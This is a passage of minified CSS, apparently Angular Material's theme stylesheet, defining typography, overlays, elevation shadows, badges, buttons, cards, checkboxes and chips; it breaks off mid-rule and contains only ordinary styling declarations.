.mat-form-field-label{top:1.09375em;margin-top:-.5em}\n.mat-form-field-appearance-fill.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-form-field-appearance-fill.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label{-webkit-transform:translateY(-.59375em) scale(.75);transform:translateY(-.59375em) scale(.75);width:133.33333%}\n.mat-form-field-appearance-fill.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{-webkit-transform:translateY(-.59374em) scale(.75);transform:translateY(-.59374em) scale(.75);width:133.33334%}\n.mat-form-field-appearance-outline .mat-form-field-infix{padding:1em 0 1em 0}\n.mat-form-field-appearance-outline .mat-form-field-label{top:1.84375em;margin-top:-.25em}\n.mat-form-field-appearance-outline.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-form-field-appearance-outline.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label{-webkit-transform:translateY(-1.59375em) scale(.75);transform:translateY(-1.59375em) scale(.75);width:133.33333%}\n.mat-form-field-appearance-outline.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{-webkit-transform:translateY(-1.59374em) scale(.75);transform:translateY(-1.59374em) scale(.75);width:133.33334%}\n.mat-grid-tile-footer,.mat-grid-tile-header{font-size:14px}\n.mat-grid-tile-footer .mat-line,.mat-grid-tile-header .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}\n.mat-grid-tile-footer .mat-line:nth-child(n+2),.mat-grid-tile-header .mat-line:nth-child(n+2){font-size:12px}\ninput.mat-input-element{margin-top:-.0625em}\n.mat-menu-item{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:14px;font-weight:400}\n.mat-paginator,.mat-paginator-page-size .mat-select-trigger{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:12px}\n.mat-radio-button{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-select{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-select-trigger{height:1.125em}\n.mat-slide-toggle-content{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-slider-thumb-label-text{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:12px;font-weight:500}\n.mat-stepper-horizontal,.mat-stepper-vertical{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-step-label{font-size:14px;font-weight:400}\n.mat-step-sub-label-error{font-weight:400}\n.mat-step-label-error{font-size:14px}\n.mat-step-label-selected{font-size:14px;font-weight:500}\n.mat-tab-group{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-tab-label,.mat-tab-link{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:14px;font-weight:500}\n.mat-toolbar,.mat-toolbar h1,.mat-toolbar h2,.mat-toolbar h3,.mat-toolbar h4,.mat-toolbar h5,.mat-toolbar h6{font:500 20px/32px Roboto,\"Helvetica Neue\",sans-serif;margin:0}\n.mat-tooltip{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:10px;padding-top:6px;padding-bottom:6px}\n.mat-tooltip-handset{font-size:14px;padding-top:8px;padding-bottom:8px}\n.mat-list-item{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-list-option{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-list-base .mat-list-item{font-size:16px}\n.mat-list-base .mat-list-item .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}\n.mat-list-base .mat-list-item .mat-line:nth-child(n+2){font-size:14px}\n.mat-list-base .mat-list-option{font-size:16px}\n.mat-list-base .mat-list-option .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}\n.mat-list-base .mat-list-option .mat-line:nth-child(n+2){font-size:14px}\n.mat-list-base .mat-subheader{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:14px;font-weight:500}\n.mat-list-base[dense] .mat-list-item{font-size:12px}\n.mat-list-base[dense] .mat-list-item .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}\n.mat-list-base[dense] .mat-list-item .mat-line:nth-child(n+2){font-size:12px}\n.mat-list-base[dense] .mat-list-option{font-size:12px}\n.mat-list-base[dense] .mat-list-option .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}\n.mat-list-base[dense] .mat-list-option .mat-line:nth-child(n+2){font-size:12px}\n.mat-list-base[dense] .mat-subheader{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:12px;font-weight:500}\n.mat-option{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:16px}\n.mat-optgroup-label{font:500 14px/24px Roboto,\"Helvetica Neue\",sans-serif}\n.mat-simple-snackbar{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:14px}\n.mat-simple-snackbar-action{line-height:1;font-family:inherit;font-size:inherit;font-weight:500}\n.mat-tree{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-nested-tree-node,.mat-tree-node{font-weight:400;font-size:14px}\n.mat-ripple{overflow:hidden;position:relative}\n.mat-ripple.mat-ripple-unbounded{overflow:visible}\n.mat-ripple-element{position:absolute;border-radius:50%;pointer-events:none;transition:opacity,-webkit-transform 0s cubic-bezier(0,0,.2,1);transition:opacity,transform 0s cubic-bezier(0,0,.2,1);transition:opacity,transform 0s cubic-bezier(0,0,.2,1),-webkit-transform 0s cubic-bezier(0,0,.2,1);-webkit-transform:scale(0);transform:scale(0)}\n@media (-ms-high-contrast:active){.mat-ripple-element{display:none}}\n.cdk-visually-hidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;outline:0;-webkit-appearance:none;-moz-appearance:none}\n.cdk-global-overlay-wrapper,.cdk-overlay-container{pointer-events:none;top:0;left:0;height:100%;width:100%}\n.cdk-overlay-container{position:fixed;z-index:1000}\n.cdk-overlay-container:empty{display:none}\n.cdk-global-overlay-wrapper{display:flex;position:absolute;z-index:1000}\n.cdk-overlay-pane{position:absolute;pointer-events:auto;box-sizing:border-box;z-index:1000;display:flex;max-width:100%;max-height:100%}\n.cdk-overlay-backdrop{position:absolute;top:0;bottom:0;left:0;right:0;z-index:1000;pointer-events:auto;-webkit-tap-highlight-color:transparent;transition:opacity .4s cubic-bezier(.25,.8,.25,1);opacity:0}\n.cdk-overlay-backdrop.cdk-overlay-backdrop-showing{opacity:1}\n@media screen and (-ms-high-contrast:active){.cdk-overlay-backdrop.cdk-overlay-backdrop-showing{opacity:.6}}\n.cdk-overlay-dark-backdrop{background:rgba(0,0,0,.32)}\n.cdk-overlay-transparent-backdrop,.cdk-overlay-transparent-backdrop.cdk-overlay-backdrop-showing{opacity:0}\n.cdk-overlay-connected-position-bounding-box{position:absolute;z-index:1000;display:flex;flex-direction:column;min-width:1px;min-height:1px}\n.cdk-global-scrollblock{position:fixed;width:100%;overflow-y:scroll}\n@-webkit-keyframes cdk-text-field-autofill-start{/*!*/}\n@keyframes cdk-text-field-autofill-start{/*!*/}\n@-webkit-keyframes cdk-text-field-autofill-end{/*!*/}\n@keyframes cdk-text-field-autofill-end{/*!*/}\n.cdk-text-field-autofill-monitored:-webkit-autofill{-webkit-animation-name:cdk-text-field-autofill-start;animation-name:cdk-text-field-autofill-start}\n.cdk-text-field-autofill-monitored:not(:-webkit-autofill){-webkit-animation-name:cdk-text-field-autofill-end;animation-name:cdk-text-field-autofill-end}\ntextarea.cdk-textarea-autosize{resize:none}\ntextarea.cdk-textarea-autosize-measuring{height:auto!important;overflow:hidden!important;padding:2px 0!important;box-sizing:content-box!important}\n.mat-ripple-element{background-color:rgba(0,0,0,.1)}\n.mat-option{color:rgba(0,0,0,.87)}\n.mat-option:focus:not(.mat-option-disabled),.mat-option:hover:not(.mat-option-disabled){background:rgba(0,0,0,.04)}\n.mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}\n.mat-option.mat-active{background:rgba(0,0,0,.04);color:rgba(0,0,0,.87)}\n.mat-option.mat-option-disabled{color:rgba(0,0,0,.38)}\n.mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#3f51b5}\n.mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#ff4081}\n.mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}\n.mat-optgroup-label{color:rgba(0,0,0,.54)}\n.mat-optgroup-disabled .mat-optgroup-label{color:rgba(0,0,0,.38)}\n.mat-pseudo-checkbox{color:rgba(0,0,0,.54)}\n.mat-pseudo-checkbox::after{color:#fafafa}\n.mat-pseudo-checkbox-disabled{color:#b0b0b0}\n.mat-primary .mat-pseudo-checkbox-checked,.mat-primary .mat-pseudo-checkbox-indeterminate{background:#3f51b5}\n.mat-accent .mat-pseudo-checkbox-checked,.mat-accent .mat-pseudo-checkbox-indeterminate,.mat-pseudo-checkbox-checked,.mat-pseudo-checkbox-indeterminate{background:#ff4081}\n.mat-warn .mat-pseudo-checkbox-checked,.mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}\n.mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}\n.mat-elevation-z0{box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-elevation-z1{box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)}\n.mat-elevation-z2{box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)}\n.mat-elevation-z3{box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)}\n.mat-elevation-z4{box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)}\n.mat-elevation-z5{box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)}\n.mat-elevation-z6{box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}\n.mat-elevation-z7{box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)}\n.mat-elevation-z8{box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)}\n.mat-elevation-z9{box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)}\n.mat-elevation-z10{box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)}\n.mat-elevation-z11{box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)}\n.mat-elevation-z12{box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)}\n.mat-elevation-z13{box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)}\n.mat-elevation-z14{box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)}\n.mat-elevation-z15{box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)}\n.mat-elevation-z16{box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)}\n.mat-elevation-z17{box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)}\n.mat-elevation-z18{box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)}\n.mat-elevation-z19{box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)}\n.mat-elevation-z20{box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)}\n.mat-elevation-z21{box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)}\n.mat-elevation-z22{box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)}\n.mat-elevation-z23{box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)}\n.mat-elevation-z24{box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)}\n.mat-app-background{background-color:#fafafa;color:rgba(0,0,0,.87)}\n.mat-theme-loaded-marker{display:none}\n.mat-autocomplete-panel{background:#fff;color:rgba(0,0,0,.87)}\n.mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)}\n.mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:#fff}\n.mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:rgba(0,0,0,.87)}\n.mat-badge-content{color:#fff;background:#3f51b5}\n@media (-ms-high-contrast:active){.mat-badge-content{outline:solid 1px;border-radius:0}}\n.mat-badge-accent .mat-badge-content{background:#ff4081;color:#fff}\n.mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}\n.mat-badge{position:relative}\n.mat-badge-hidden .mat-badge-content{display:none}\n.mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:rgba(0,0,0,.38)}\n.mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:-webkit-transform .2s ease-in-out;transition:transform .2s ease-in-out;transition:transform .2s ease-in-out, -webkit-transform .2s ease-in-out;-webkit-transform:scale(.6);transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}\n.mat-badge-content._mat-animation-noopable,.ng-animate-disabled .mat-badge-content{transition:none}\n.mat-badge-content.mat-badge-active{-webkit-transform:none;transform:none}\n.mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}\n.mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}\n.mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}\n.mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}\n[dir=rtl] .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}\n.mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}\n[dir=rtl] .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}\n.mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}\n[dir=rtl] .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}\n.mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}\n[dir=rtl] .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}\n.mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}\n.mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}\n.mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}\n.mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}\n[dir=rtl] .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}\n.mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}\n[dir=rtl] .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}\n.mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}\n[dir=rtl] .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}\n.mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}\n[dir=rtl] .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}\n.mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}\n.mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}\n.mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}\n.mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}\n[dir=rtl] .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}\n.mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}\n[dir=rtl] .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}\n.mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}\n[dir=rtl] .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}\n.mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}\n[dir=rtl] .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}\n.mat-bottom-sheet-container{box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12);background:#fff;color:rgba(0,0,0,.87)}\n.mat-button,.mat-icon-button,.mat-stroked-button{color:inherit;background:0 0}\n.mat-button.mat-primary,.mat-icon-button.mat-primary,.mat-stroked-button.mat-primary{color:#3f51b5}\n.mat-button.mat-accent,.mat-icon-button.mat-accent,.mat-stroked-button.mat-accent{color:#ff4081}\n.mat-button.mat-warn,.mat-icon-button.mat-warn,.mat-stroked-button.mat-warn{color:#f44336}\n.mat-button.mat-accent[disabled],.mat-button.mat-primary[disabled],.mat-button.mat-warn[disabled],.mat-button[disabled][disabled],.mat-icon-button.mat-accent[disabled],.mat-icon-button.mat-primary[disabled],.mat-icon-button.mat-warn[disabled],.mat-icon-button[disabled][disabled],.mat-stroked-button.mat-accent[disabled],.mat-stroked-button.mat-primary[disabled],.mat-stroked-button.mat-warn[disabled],.mat-stroked-button[disabled][disabled]{color:rgba(0,0,0,.26)}\n.mat-button.mat-primary .mat-button-focus-overlay,.mat-icon-button.mat-primary .mat-button-focus-overlay,.mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#3f51b5}\n.mat-button.mat-accent .mat-button-focus-overlay,.mat-icon-button.mat-accent .mat-button-focus-overlay,.mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#ff4081}\n.mat-button.mat-warn .mat-button-focus-overlay,.mat-icon-button.mat-warn .mat-button-focus-overlay,.mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}\n.mat-button[disabled] .mat-button-focus-overlay,.mat-icon-button[disabled] .mat-button-focus-overlay,.mat-stroked-button[disabled] .mat-button-focus-overlay{background-color:transparent}\n.mat-button .mat-ripple-element,.mat-icon-button .mat-ripple-element,.mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}\n.mat-button-focus-overlay{background:#000}\n.mat-stroked-button:not([disabled]){border-color:rgba(0,0,0,.12)}\n.mat-fab,.mat-flat-button,.mat-mini-fab,.mat-raised-button{color:rgba(0,0,0,.87);background-color:#fff}\n.mat-fab.mat-primary,.mat-flat-button.mat-primary,.mat-mini-fab.mat-primary,.mat-raised-button.mat-primary{color:#fff}\n.mat-fab.mat-accent,.mat-flat-button.mat-accent,.mat-mini-fab.mat-accent,.mat-raised-button.mat-accent{color:#fff}\n.mat-fab.mat-warn,.mat-flat-button.mat-warn,.mat-mini-fab.mat-warn,.mat-raised-button.mat-warn{color:#fff}\n.mat-fab.mat-accent[disabled],.mat-fab.mat-primary[disabled],.mat-fab.mat-warn[disabled],.mat-fab[disabled][disabled],.mat-flat-button.mat-accent[disabled],.mat-flat-button.mat-primary[disabled],.mat-flat-button.mat-warn[disabled],.mat-flat-button[disabled][disabled],.mat-mini-fab.mat-accent[disabled],.mat-mini-fab.mat-primary[disabled],.mat-mini-fab.mat-warn[disabled],.mat-mini-fab[disabled][disabled],.mat-raised-button.mat-accent[disabled],.mat-raised-button.mat-primary[disabled],.mat-raised-button.mat-warn[disabled],.mat-raised-button[disabled][disabled]{color:rgba(0,0,0,.26)}\n.mat-fab.mat-primary,.mat-flat-button.mat-primary,.mat-mini-fab.mat-primary,.mat-raised-button.mat-primary{background-color:#3f51b5}\n.mat-fab.mat-accent,.mat-flat-button.mat-accent,.mat-mini-fab.mat-accent,.mat-raised-button.mat-accent{background-color:#ff4081}\n.mat-fab.mat-warn,.mat-flat-button.mat-warn,.mat-mini-fab.mat-warn,.mat-raised-button.mat-warn{background-color:#f44336}\n.mat-fab.mat-accent[disabled],.mat-fab.mat-primary[disabled],.mat-fab.mat-warn[disabled],.mat-fab[disabled][disabled],.mat-flat-button.mat-accent[disabled],.mat-flat-button.mat-primary[disabled],.mat-flat-button.mat-warn[disabled],.mat-flat-button[disabled][disabled],.mat-mini-fab.mat-accent[disabled],.mat-mini-fab.mat-primary[disabled],.mat-mini-fab.mat-warn[disabled],.mat-mini-fab[disabled][disabled],.mat-raised-button.mat-accent[disabled],.mat-raised-button.mat-primary[disabled],.mat-raised-button.mat-warn[disabled],.mat-raised-button[disabled][disabled]{background-color:rgba(0,0,0,.12)}\n.mat-fab.mat-primary .mat-ripple-element,.mat-flat-button.mat-primary .mat-ripple-element,.mat-mini-fab.mat-primary .mat-ripple-element,.mat-raised-button.mat-primary .mat-ripple-element{background-color:rgba(255,255,255,.1)}\n.mat-fab.mat-accent .mat-ripple-element,.mat-flat-button.mat-accent .mat-ripple-element,.mat-mini-fab.mat-accent .mat-ripple-element,.mat-raised-button.mat-accent .mat-ripple-element{background-color:rgba(255,255,255,.1)}\n.mat-fab.mat-warn .mat-ripple-element,.mat-flat-button.mat-warn .mat-ripple-element,.mat-mini-fab.mat-warn .mat-ripple-element,.mat-raised-button.mat-warn .mat-ripple-element{background-color:rgba(255,255,255,.1)}\n.mat-flat-button:not([class*=mat-elevation-z]),.mat-stroked-button:not([class*=mat-elevation-z]){box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)}\n.mat-raised-button:not([disabled]):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)}\n.mat-raised-button[disabled]:not([class*=mat-elevation-z]){box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-fab:not([class*=mat-elevation-z]),.mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}\n.mat-fab:not([disabled]):active:not([class*=mat-elevation-z]),.mat-mini-fab:not([disabled]):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)}\n.mat-fab[disabled]:not([class*=mat-elevation-z]),.mat-mini-fab[disabled]:not([class*=mat-elevation-z]){box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-button-toggle-group,.mat-button-toggle-standalone{box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)}\n.mat-button-toggle-group-appearance-standard,.mat-button-toggle-standalone.mat-button-toggle-appearance-standard{box-shadow:none}\n.mat-button-toggle{color:rgba(0,0,0,.38)}\n.mat-button-toggle .mat-button-toggle-focus-overlay{background-color:rgba(0,0,0,.12)}\n.mat-button-toggle-appearance-standard{color:rgba(0,0,0,.87);background:#fff}\n.mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}\n.mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px rgba(0,0,0,.12)}\n[dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}\n.mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px rgba(0,0,0,.12)}\n.mat-button-toggle-checked{background-color:#e0e0e0;color:rgba(0,0,0,.54)}\n.mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:rgba(0,0,0,.87)}\n.mat-button-toggle-disabled{color:rgba(0,0,0,.26);background-color:#eee}\n.mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:#fff}\n.mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}\n.mat-button-toggle-group-appearance-standard,.mat-button-toggle-standalone.mat-button-toggle-appearance-standard{border:solid 1px rgba(0,0,0,.12)}\n.mat-card{background:#fff;color:rgba(0,0,0,.87)}\n.mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)}\n.mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-card-subtitle{color:rgba(0,0,0,.54)}\n.mat-checkbox-frame{border-color:rgba(0,0,0,.54)}\n.mat-checkbox-checkmark{fill:#fafafa}\n.mat-checkbox-checkmark-path{stroke:#fafafa!important}\n@media (-ms-high-contrast:black-on-white){.mat-checkbox-checkmark-path{stroke:#000!important}}\n.mat-checkbox-mixedmark{background-color:#fafafa}\n.mat-checkbox-checked.mat-primary .mat-checkbox-background,.mat-checkbox-indeterminate.mat-primary .mat-checkbox-background{background-color:#3f51b5}\n.mat-checkbox-checked.mat-accent .mat-checkbox-background,.mat-checkbox-indeterminate.mat-accent .mat-checkbox-background{background-color:#ff4081}\n.mat-checkbox-checked.mat-warn .mat-checkbox-background,.mat-checkbox-indeterminate.mat-warn .mat-checkbox-background{background-color:#f44336}\n.mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}\n.mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}\n.mat-checkbox-disabled .mat-checkbox-label{color:rgba(0,0,0,.54)}\n@media (-ms-high-contrast:active){.mat-checkbox-disabled{opacity:.5}}\n@media (-ms-high-contrast:active){.mat-checkbox-background{background:0 0}}\n.mat-checkbox .mat-ripple-element{background-color:#000}\n.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#3f51b5}\n.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#ff4081}\n.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}\n.mat-chip.mat-standard-chip{background-color:#e0e0e0;color:rgba(0,0,0,.87)}\n.mat-chip.mat-standard-chip .mat-chip-remove{color:rgba(0,0,0,.87);opacity:.4}\n.mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)}\n.mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}\n.mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}\n.mat-chip.mat-standard-chip::after{background:#000}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#3f51b5;color:#fff}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-primary 